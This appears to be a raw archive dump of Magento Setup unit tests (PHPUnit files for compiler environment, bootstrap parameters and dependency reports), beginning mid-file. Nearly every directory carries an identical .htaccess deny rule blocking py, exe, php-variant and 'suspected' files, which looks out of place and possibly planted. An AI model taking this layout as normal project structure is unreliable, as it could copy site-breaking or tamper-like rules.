'/custom/generated/code/directory'; $defaultDiDirectory = '/custom/di/directory'; $mageInitParams = ['MAGE_DIRS' => ['generation' => ['path' => $customGenerationDirectory]]]; $dirValueMap = [ [ $customGenerationDirectory, $defaultDiDirectory ], [ true, true ] ]; $this->inputMock->expects($this->once()) ->method('getFirstArgument') ->willReturn(DiCompileCommand::NAME); $this->filesystemDriverMock->expects($this->exactly(2)) ->method('isExists') ->willReturn(true); $this->filesystemDriverMock->expects($this->exactly(2)) ->method('deleteDirectory') ->willReturnMap($dirValueMap); $this->serviceManagerMock->expects($this->once()) ->method('get') ->with(InitParamListener::BOOTSTRAP_PARAM) ->willReturn($mageInitParams); $this->generationDirectoryAccessMock->expects($this->once()) ->method('check') ->willReturn(true); $this->model->handleCompilerEnvironment(); } public function testGenerationDirectoryFromCliOption() { $customGenerationDirectory = '/custom/generated/code/directory'; $customDiDirectory = '/custom/di/directory'; $dirResultMap = [ [ $this->logicalNot($this->equalTo($customGenerationDirectory)), $this->logicalNot($this->equalTo($customDiDirectory)) ], [ true, true ] ]; $this->inputMock->expects($this->once()) ->method('getFirstArgument') ->willReturn(DiCompileCommand::NAME); $this->filesystemDriverMock->expects($this->exactly(2)) ->method('isExists') ->willReturn(true); $this->filesystemDriverMock->expects($this->exactly(2)) ->method('deleteDirectory') ->willReturnMap($dirResultMap); $this->generationDirectoryAccessMock->expects($this->once()) ->method('check') ->willReturn(true); $this->model->handleCompilerEnvironment(); } } Magento/Setup/Test/Unit/Console/.htaccess000077700000000177151323623130014307 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/.htaccess000077700000000177151323623130012705 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Mvc/Bootstrap/InitParamListenerTest.php000077700000026211151323623130020551 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Mvc\Bootstrap; use Laminas\Console\Request; use Laminas\EventManager\EventManagerInterface; use Laminas\EventManager\SharedEventManager; use Laminas\Http\Headers; use Laminas\Http\Response; use Laminas\Mvc\Application; use Laminas\Mvc\MvcEvent; use Laminas\Mvc\Router\Http\RouteMatch; use Laminas\ServiceManager\ServiceLocatorInterface; use Laminas\ServiceManager\ServiceManager; use Laminas\Stdlib\RequestInterface; use Magento\Backend\App\BackendApp; use Magento\Backend\App\BackendAppList; use Magento\Backend\Model\Auth; use Magento\Backend\Model\Auth\Session; use Magento\Backend\Model\Session\AdminConfig; use Magento\Backend\Model\Url; use Magento\Framework\App\Area; use Magento\Framework\App\Bootstrap as AppBootstrap; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\State; use Magento\Framework\Filesystem; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for \Magento\Setup\Mvc\Bootstrap\InitParamListener * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InitParamListenerTest extends TestCase { /** * @var InitParamListener */ private $listener; /** callable[][] */ private $callbacks = []; protected function setUp(): void { $this->listener = new InitParamListener(); } public function testAttach() { $events = $this->prepareEventManager(); $this->listener->attach($events); } public function testDetach() { $events = $this->prepareEventManager(); $this->listener->attach($events); $events->expects($this->once())->method('detach')->with([$this->listener, 'onBootstrap'])->willReturn(true); $this->listener->detach($events); } public function testOnBootstrap() { /** @var MvcEvent|MockObject $mvcEvent */ $mvcEvent = $this->createMock(MvcEvent::class); $mvcApplication = $this->getMockBuilder(Application::class) ->disableOriginalConstructor() ->getMock(); $mvcEvent->expects($this->once())->method('getApplication')->willReturn($mvcApplication); $serviceManager = $this->createMock(ServiceManager::class); $initParams[AppBootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS][DirectoryList::ROOT] = ['path' => '/test']; $serviceManager->expects($this->once())->method('get') ->willReturn($initParams); $serviceManager->expects($this->exactly(2))->method('setService') ->withConsecutive( [ DirectoryList::class, $this->isInstanceOf(DirectoryList::class), ], [ Filesystem::class, $this->isInstanceOf(Filesystem::class), ] ); $mvcApplication->expects($this->any())->method('getServiceManager')->willReturn($serviceManager); $eventManager = $this->getMockForAbstractClass(EventManagerInterface::class); $mvcApplication->expects($this->any())->method('getEventManager')->willReturn($eventManager); $eventManager->expects($this->any())->method('attach'); $this->listener->onBootstrap($mvcEvent); } public function testCreateDirectoryList() { $initParams[AppBootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS] = [DirectoryList::ROOT => [DirectoryList::PATH => '/test/root']]; $directoryList = $this->listener->createDirectoryList($initParams); $this->assertEquals('/test/root/app', $directoryList->getPath(DirectoryList::APP)); } public function testCreateDirectoryListException() { $this->expectException('LogicException'); $this->expectExceptionMessage('Magento root directory is not specified.'); $this->listener->createDirectoryList([]); } public function testCreateServiceNotConsole() { /** * @var ServiceLocatorInterface|MockObject $serviceLocator */ $serviceLocator = $this->getMockForAbstractClass(ServiceLocatorInterface::class); $mvcApplication = $this->getMockBuilder(Application::class) ->disableOriginalConstructor() ->getMock(); $request = $this->getMockForAbstractClass(RequestInterface::class); $mvcApplication->expects($this->any())->method('getRequest')->willReturn($request); $serviceLocator->expects($this->once())->method('get')->with('Application') ->willReturn($mvcApplication); $this->assertEquals([], $this->listener->createService($serviceLocator)); } /** * @param array $zfAppConfig Data that comes from Laminas Framework Application config * @param array $env Config that comes from SetEnv * @param string $cliParam Parameter string * @param array $expectedArray Expected result array * * @dataProvider createServiceDataProvider */ public function testCreateService($zfAppConfig, $env, $cliParam, $expectedArray) { foreach ($env as $envKey => $envValue) { $_SERVER[$envKey] = $envValue; } $listener = new InitParamListener(); /** * @var ServiceLocatorInterface|MockObject $serviceLocator */ $serviceLocator = $this->getMockForAbstractClass(ServiceLocatorInterface::class); $mvcApplication = $this->getMockBuilder(Application::class) ->disableOriginalConstructor() ->getMock(); $request = $this->getMockBuilder(Request::class) ->disableOriginalConstructor() ->getMock(); $request->expects($this->any()) ->method('getContent') ->willReturn( $cliParam ? ['install', '--magento-init-params=' . $cliParam] : ['install'] ); $mvcApplication->expects($this->any())->method('getConfig')->willReturn( $zfAppConfig ? [InitParamListener::BOOTSTRAP_PARAM => $zfAppConfig] : [] ); $mvcApplication->expects($this->any())->method('getRequest')->willReturn($request); $serviceLocator->expects($this->once())->method('get')->with('Application') ->willReturn($mvcApplication); $this->assertEquals($expectedArray, $listener->createService($serviceLocator)); } /** * @return array */ public function createServiceDataProvider() { return [ 'none' => [[], [], '', []], 'mage_mode App' => [['MAGE_MODE' => 'developer'], [], '', ['MAGE_MODE' => 'developer']], 'mage_mode Env' => [[], ['MAGE_MODE' => 'developer'], '', ['MAGE_MODE' => 'developer']], 'mage_mode CLI' => [[], [], 'MAGE_MODE=developer', ['MAGE_MODE' => 'developer']], 'one MAGE_DIRS CLI' => [ [], [], 'MAGE_MODE=developer&MAGE_DIRS[base][path]=/var/www/magento2', ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2']], 'MAGE_MODE' => 'developer'], ], 'two MAGE_DIRS CLI' => [ [], [], 'MAGE_MODE=developer&MAGE_DIRS[base][path]=/var/www/magento2&MAGE_DIRS[cache][path]=/tmp/cache', [ 'MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2'], 'cache' => ['path' => '/tmp/cache']], 'MAGE_MODE' => 'developer', ], ], 'mage_mode only' => [[], [], 'MAGE_MODE=developer', ['MAGE_MODE' => 'developer']], 'MAGE_DIRS Env' => [ [], ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2']], 'MAGE_MODE' => 'developer'], '', ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2']], 'MAGE_MODE' => 'developer'], ], 'two MAGE_DIRS' => [ [], [], 'MAGE_MODE=developer&MAGE_DIRS[base][path]=/var/www/magento2&MAGE_DIRS[cache][path]=/tmp/cache', [ 'MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2'], 'cache' => ['path' => '/tmp/cache']], 'MAGE_MODE' => 'developer', ], ], 'Env overwrites App' => [ ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/App']], 'MAGE_MODE' => 'developer'], ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/Env']], 'MAGE_MODE' => 'developer'], '', ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/Env']], 'MAGE_MODE' => 'developer'], ], 'CLI overwrites Env' => [ ['MAGE_MODE' => 'developer'], ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/Env']]], 'MAGE_DIRS[base][path]=/var/www/magento2/CLI', ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/CLI']], 'MAGE_MODE' => 'developer'], ], 'CLI overwrites All' => [ ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/App']], 'MAGE_MODE' => 'production'], ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/Env']]], 'MAGE_DIRS[base][path]=/var/www/magento2/CLI', ['MAGE_DIRS' => ['base' => ['path' => '/var/www/magento2/CLI']], 'MAGE_MODE' => 'developer'], ], ]; } public function testCreateFilesystem() { $testPath = 'test/path/'; /** * @var DirectoryList| * \PHPUnit\Framework\MockObject\MockObject $directoryList */ $directoryList = $this->getMockBuilder(DirectoryList::class) ->disableOriginalConstructor() ->getMock(); $directoryList->expects($this->any())->method('getPath')->willReturn($testPath); $filesystem = $this->listener->createFilesystem($directoryList); // Verifies the filesystem was created with the directory list passed in $this->assertEquals($testPath, $filesystem->getDirectoryRead('app')->getAbsolutePath()); } /** * Prepare the event manager with a SharedEventManager, it will expect attach() to be called once. * * @return MockObject */ private function prepareEventManager() { $this->callbacks[] = [$this->listener, 'onBootstrap']; /** @var EventManagerInterface|MockObject $events */ $eventManager = $this->getMockForAbstractClass(EventManagerInterface::class); $sharedManager = $this->createMock(SharedEventManager::class); $sharedManager->expects($this->once())->method('attach')->with( Application::class, MvcEvent::EVENT_BOOTSTRAP, [$this->listener, 'onBootstrap'] ); $sharedManager->expects($this->once())->method('getListeners')->willReturn($this->callbacks); $eventManager->expects($this->once())->method('getSharedManager')->willReturn($sharedManager); return $eventManager; } } Magento/Setup/Test/Unit/Mvc/Bootstrap/.htaccess000077700000000177151323623130015407 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Mvc/.htaccess000077700000000177151323623130013432 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Circular/Data/ConfigTest.php000077700000002642151323623130023057 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Circular\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Circular\Data\Config; use Magento\Setup\Module\Dependency\Report\Circular\Data\Module; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigTest extends TestCase { /** * @var Module|MockObject */ protected $moduleFirst; /** * @var Module|MockObject */ protected $moduleSecond; /** * @var Config */ protected $config; protected function setUp(): void { $this->moduleFirst = $this->createMock(Module::class); $this->moduleSecond = $this->createMock(Module::class); $objectManagerHelper = new ObjectManager($this); $this->config = $objectManagerHelper->getObject( Config::class, ['modules' => [$this->moduleFirst, $this->moduleSecond]] ); } public function testGetDependenciesCount() { $this->moduleFirst->expects($this->once())->method('getChainsCount')->willReturn(0); $this->moduleSecond->expects($this->once())->method('getChainsCount')->willReturn(2); $this->assertEquals(2, $this->config->getDependenciesCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Circular/Data/ChainTest.php000077700000001402151323623130022665 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Circular\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Circular\Data\Chain; use PHPUnit\Framework\TestCase; class ChainTest extends TestCase { public function testGetModules() { $modules = ['foo', 'baz', 'bar']; $objectManagerHelper = new ObjectManager($this); /** @var Chain $chain */ $chain = $objectManagerHelper->getObject( Chain::class, ['modules' => $modules] ); $this->assertEquals($modules, $chain->getModules()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Circular/Data/ModuleTest.php000077700000002462151323623130023077 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Circular\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Circular\Data\Module; use PHPUnit\Framework\TestCase; class ModuleTest extends TestCase { /** * @param string $name * @param array $chains * @return Module */ protected function createModule($name, $chains = []) { $objectManagerHelper = new ObjectManager($this); return $objectManagerHelper->getObject( Module::class, ['name' => $name, 'chains' => $chains] ); } public function testGetName() { $name = 'name'; $module = $this->createModule($name, []); $this->assertEquals($name, $module->getName()); } public function testGetChains() { $chains = ['foo', 'baz', 'bar']; $module = $this->createModule('name', $chains); $this->assertEquals($chains, $module->getChains()); } public function testGetChainsCount() { $module = $this->createModule('name', ['foo', 'baz', 'bar']); $this->assertEquals(3, $module->getChainsCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Circular/Data/.htaccess000077700000000177151323623130022100 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Circular/.htaccess000077700000000177151323623130021227 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Dependency/Data/ConfigTest.php000077700000005253151323623130023372 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Dependency\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Dependency\Data\Config; use Magento\Setup\Module\Dependency\Report\Dependency\Data\Module; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigTest extends TestCase { /** * @var Module|MockObject */ protected $moduleFirst; /** * @var Module|MockObject */ protected $moduleSecond; /** * @var Config */ protected $config; protected function setUp(): void { $this->moduleFirst = $this->createMock(Module::class); $this->moduleSecond = $this->createMock(Module::class); $objectManagerHelper = new ObjectManager($this); $this->config = $objectManagerHelper->getObject( Config::class, ['modules' => [$this->moduleFirst, $this->moduleSecond]] ); } public function testGetDependenciesCount() { $this->moduleFirst->expects($this->once())->method('getHardDependenciesCount')->willReturn(1); $this->moduleFirst->expects($this->once())->method('getSoftDependenciesCount')->willReturn(2); $this->moduleSecond->expects($this->once())->method('getHardDependenciesCount')->willReturn(3); $this->moduleSecond->expects($this->once())->method('getSoftDependenciesCount')->willReturn(4); $this->assertEquals(10, $this->config->getDependenciesCount()); } public function testGetHardDependenciesCount() { $this->moduleFirst->expects($this->once())->method('getHardDependenciesCount')->willReturn(1); $this->moduleFirst->expects($this->never())->method('getSoftDependenciesCount'); $this->moduleSecond->expects($this->once())->method('getHardDependenciesCount')->willReturn(2); $this->moduleSecond->expects($this->never())->method('getSoftDependenciesCount'); $this->assertEquals(3, $this->config->getHardDependenciesCount()); } public function testGetSoftDependenciesCount() { $this->moduleFirst->expects($this->never())->method('getHardDependenciesCount'); $this->moduleFirst->expects($this->once())->method('getSoftDependenciesCount')->willReturn(1); $this->moduleSecond->expects($this->never())->method('getHardDependenciesCount'); $this->moduleSecond->expects($this->once())->method('getSoftDependenciesCount')->willReturn(3); $this->assertEquals(4, $this->config->getSoftDependenciesCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Dependency/Data/DependencyTest.php000077700000003232151323623130024236 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Dependency\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Dependency\Data\Dependency; use PHPUnit\Framework\TestCase; class DependencyTest extends TestCase { /** * @param string $module * @param string|null $type One of \Magento\Setup\Module\Dependency\Dependency::TYPE_ const * @return Dependency */ protected function createDependency($module, $type = null) { $objectManagerHelper = new ObjectManager($this); return $objectManagerHelper->getObject( Dependency::class, ['module' => $module, 'type' => $type] ); } public function testGetModule() { $module = 'module'; $dependency = $this->createDependency($module); $this->assertEquals($module, $dependency->getModule()); } public function testGetType() { $type = Dependency::TYPE_SOFT; $dependency = $this->createDependency('module', $type); $this->assertEquals($type, $dependency->getType()); } public function testThatHardTypeIsDefault() { $dependency = $this->createDependency('module'); $this->assertEquals(Dependency::TYPE_HARD, $dependency->getType()); } public function testThatHardTypeIsDefaultIfPassedWrongType() { $dependency = $this->createDependency('module', 'wrong_type'); $this->assertEquals(Dependency::TYPE_HARD, $dependency->getType()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Dependency/Data/ModuleTest.php000077700000005032151323623130023405 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Dependency\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Dependency\Data\Dependency; use Magento\Setup\Module\Dependency\Report\Dependency\Data\Module; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ModuleTest extends TestCase { /** * @var Dependency|MockObject */ protected $dependencyFirst; /** * @var Dependency|MockObject */ protected $dependencySecond; /** * @var Module */ protected $module; protected function setUp(): void { $this->dependencyFirst = $this->createMock(Dependency::class); $this->dependencySecond = $this->createMock(Dependency::class); $objectManagerHelper = new ObjectManager($this); $this->module = $objectManagerHelper->getObject( Module::class, ['name' => 'name', 'dependencies' => [$this->dependencyFirst, $this->dependencySecond]] ); } public function testGetName() { $this->assertEquals('name', $this->module->getName()); } public function testGetDependencies() { $this->assertEquals([$this->dependencyFirst, $this->dependencySecond], $this->module->getDependencies()); } public function testGetDependenciesCount() { $this->assertEquals(2, $this->module->getDependenciesCount()); } public function testGetHardDependenciesCount() { $this->dependencyFirst->expects($this->once())->method('isHard')->willReturn(true); $this->dependencyFirst->expects($this->never())->method('isSoft'); $this->dependencySecond->expects($this->once())->method('isHard')->willReturn(false); $this->dependencySecond->expects($this->never())->method('isSoft'); $this->assertEquals(1, $this->module->getHardDependenciesCount()); } public function testGetSoftDependenciesCount() { $this->dependencyFirst->expects($this->never())->method('isHard'); $this->dependencyFirst->expects($this->once())->method('isSoft')->willReturn(true); $this->dependencySecond->expects($this->never())->method('isHard'); $this->dependencySecond->expects($this->once())->method('isSoft')->willReturn(false); $this->assertEquals(1, $this->module->getSoftDependenciesCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Dependency/Data/.htaccess000077700000000177151323623130022412 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Dependency/.htaccess000077700000000177151323623130021541 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Writer/Csv/AbstractWriterTest.php000077700000004245151323623130024205 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Writer\Csv; use Magento\Framework\File\Csv; use Magento\Setup\Module\Dependency\Report\Data\ConfigInterface; use Magento\Setup\Module\Dependency\Report\Writer\Csv\AbstractWriter; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AbstractWriterTest extends TestCase { /** * @var AbstractWriter|MockObject */ protected $writer; /** * @var Csv|MockObject */ protected $csvMock; protected function setUp(): void { $this->csvMock = $this->createMock(Csv::class); $this->writer = $this->getMockForAbstractClass( AbstractWriter::class, ['writer' => $this->csvMock] ); } public function testWrite() { $options = ['report_filename' => 'some_filename']; $configMock = $this->getMockForAbstractClass(ConfigInterface::class); $preparedData = ['foo', 'baz', 'bar']; $this->writer->expects( $this->once() )->method( 'prepareData' )->with( $configMock )->willReturn( $preparedData ); $this->csvMock->expects($this->once())->method('saveData')->with($options['report_filename'], $preparedData); $this->writer->write($options, $configMock); } /** * @param array $options * @dataProvider dataProviderWrongOptionReportFilename */ public function testWriteWithWrongOptionReportFilename($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Writing error: Passed option "report_filename" is wrong.'); $configMock = $this->getMockForAbstractClass(ConfigInterface::class); $this->writer->write($options, $configMock); } /** * @return array */ public function dataProviderWrongOptionReportFilename() { return [ [['report_filename' => '']], [['there_are_no_report_filename' => 'some_name']] ]; } } Magento/Setup/Test/Unit/Module/Dependency/Report/Writer/Csv/.htaccess000077700000000177151323623130021472 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Writer/.htaccess000077700000000177151323623130020737 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Builder/AbstractBuilderTest.php000077700000006262151323623130023677 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Builder; use Magento\Setup\Module\Dependency\ParserInterface; use Magento\Setup\Module\Dependency\Report\Builder\AbstractBuilder; use Magento\Setup\Module\Dependency\Report\Data\ConfigInterface; use Magento\Setup\Module\Dependency\Report\WriterInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class AbstractBuilderTest extends TestCase { /** * @var ParserInterface|MockObject */ protected $dependenciesParserMock; /** * @var WriterInterface|MockObject */ protected $reportWriterMock; /** * @var AbstractBuilder|MockObject */ protected $builder; protected function setUp(): void { $this->dependenciesParserMock = $this->getMockForAbstractClass(ParserInterface::class); $this->reportWriterMock = $this->getMockForAbstractClass(WriterInterface::class); $this->builder = $this->getMockForAbstractClass( AbstractBuilder::class, ['dependenciesParser' => $this->dependenciesParserMock, 'reportWriter' => $this->reportWriterMock] ); } /** * @param array $options * @dataProvider dataProviderWrongParseOptions */ public function testBuildWithWrongParseOptions($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Passed option section "parse" is wrong.'); $this->builder->build($options); } /** * @return array */ public function dataProviderWrongParseOptions() { return [[['write' => [1, 2]]], [['parse' => [], 'write' => [1, 2]]]]; } /** * @param array $options * @dataProvider dataProviderWrongWriteOptions */ public function testBuildWithWrongWriteOptions($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Passed option section "write" is wrong.'); $this->builder->build($options); } /** * @return array */ public function dataProviderWrongWriteOptions() { return [[['parse' => [1, 2]]], [['parse' => [1, 2], 'write' => []]]]; } public function testBuild() { $options = [ 'parse' => ['files_for_parse' => [1, 2, 3]], 'write' => ['report_filename' => 'some_filename'], ]; $parseResult = ['foo', 'bar', 'baz']; $configMock = $this->getMockForAbstractClass(ConfigInterface::class); $this->dependenciesParserMock->expects( $this->once() )->method( 'parse' )->with( $options['parse'] )->willReturn( $parseResult ); $this->builder->expects( $this->once() )->method( 'buildData' )->with( $parseResult )->willReturn( $configMock ); $this->reportWriterMock->expects($this->once())->method('write')->with($options['write'], $configMock); $this->builder->build($options); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Builder/.htaccess000077700000000177151323623130021051 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/BuilderTest.php000077700000002635151323623130022562 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Framework; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Framework\Builder; use PHPUnit\Framework\TestCase; class BuilderTest extends TestCase { /** * @var Builder */ protected $builder; protected function setUp(): void { $objectManagerHelper = new ObjectManager($this); $this->builder = $objectManagerHelper->getObject( Builder::class ); } /** * @param array $options * @dataProvider dataProviderWrongOptionConfigFiles */ public function testBuildWithWrongOptionConfigFiles($options) { $this->expectException('InvalidArgumentException'); $this->expectExceptionMessage('Parse error. Passed option "config_files" is wrong.'); $this->builder->build($options); } /** * @return array */ public function dataProviderWrongOptionConfigFiles() { return [ [ [ 'parse' => ['files_for_parse' => [1, 2], 'config_files' => []], 'write' => [1, 2], ], ], [['parse' => ['files_for_parse' => [1, 2]], 'write' => [1, 2]]] ]; } } Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/Data/ConfigTest.php000077700000002661151323623130023251 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Framework\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Framework\Data\Config; use Magento\Setup\Module\Dependency\Report\Framework\Data\Module; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigTest extends TestCase { /** * @var Module|MockObject */ protected $moduleFirst; /** * @var Module|MockObject */ protected $moduleSecond; /** * @var Config */ protected $config; protected function setUp(): void { $this->moduleFirst = $this->createMock(Module::class); $this->moduleSecond = $this->createMock(Module::class); $objectManagerHelper = new ObjectManager($this); $this->config = $objectManagerHelper->getObject( Config::class, ['modules' => [$this->moduleFirst, $this->moduleSecond]] ); } public function testGetDependenciesCount() { $this->moduleFirst->expects($this->once())->method('getDependenciesCount')->willReturn(0); $this->moduleSecond->expects($this->once())->method('getDependenciesCount')->willReturn(2); $this->assertEquals(2, $this->config->getDependenciesCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/Data/DependencyTest.php000077700000002172151323623130024117 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Framework\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Framework\Data\Dependency; use PHPUnit\Framework\TestCase; class DependencyTest extends TestCase { /** * @param string $lib * @param int $count * @return Dependency */ protected function createDependency($lib, $count) { $objectManagerHelper = new ObjectManager($this); return $objectManagerHelper->getObject( Dependency::class, ['lib' => $lib, 'count' => $count] ); } public function testGetLib() { $lib = 'lib'; $dependency = $this->createDependency($lib, 0); $this->assertEquals($lib, $dependency->getLib()); } public function testGetCount() { $count = 3; $dependency = $this->createDependency('lib', $count); $this->assertEquals($count, $dependency->getCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/Data/ModuleTest.php000077700000002566151323623130023275 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Dependency\Report\Framework\Data; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Dependency\Report\Framework\Data\Module; use PHPUnit\Framework\TestCase; class ModuleTest extends TestCase { /** * @param string $name * @param array $dependencies * @return Module */ protected function createModule($name, $dependencies = []) { $objectManagerHelper = new ObjectManager($this); return $objectManagerHelper->getObject( Module::class, ['name' => $name, 'dependencies' => $dependencies] ); } public function testGetName() { $name = 'name'; $module = $this->createModule($name, []); $this->assertEquals($name, $module->getName()); } public function testGetDependencies() { $dependencies = ['foo', 'baz', 'bar']; $module = $this->createModule('name', $dependencies); $this->assertEquals($dependencies, $module->getDependencies()); } public function testGetDependenciesCount() { $module = $this->createModule('name', ['foo', 'baz', 'bar']); $this->assertEquals(3, $module->getDependenciesCount()); } } Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/Data/.htaccess000077700000000177151323623130022271 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Dependency/Report/Framework/.htaccess000077700000000177151323623130021420 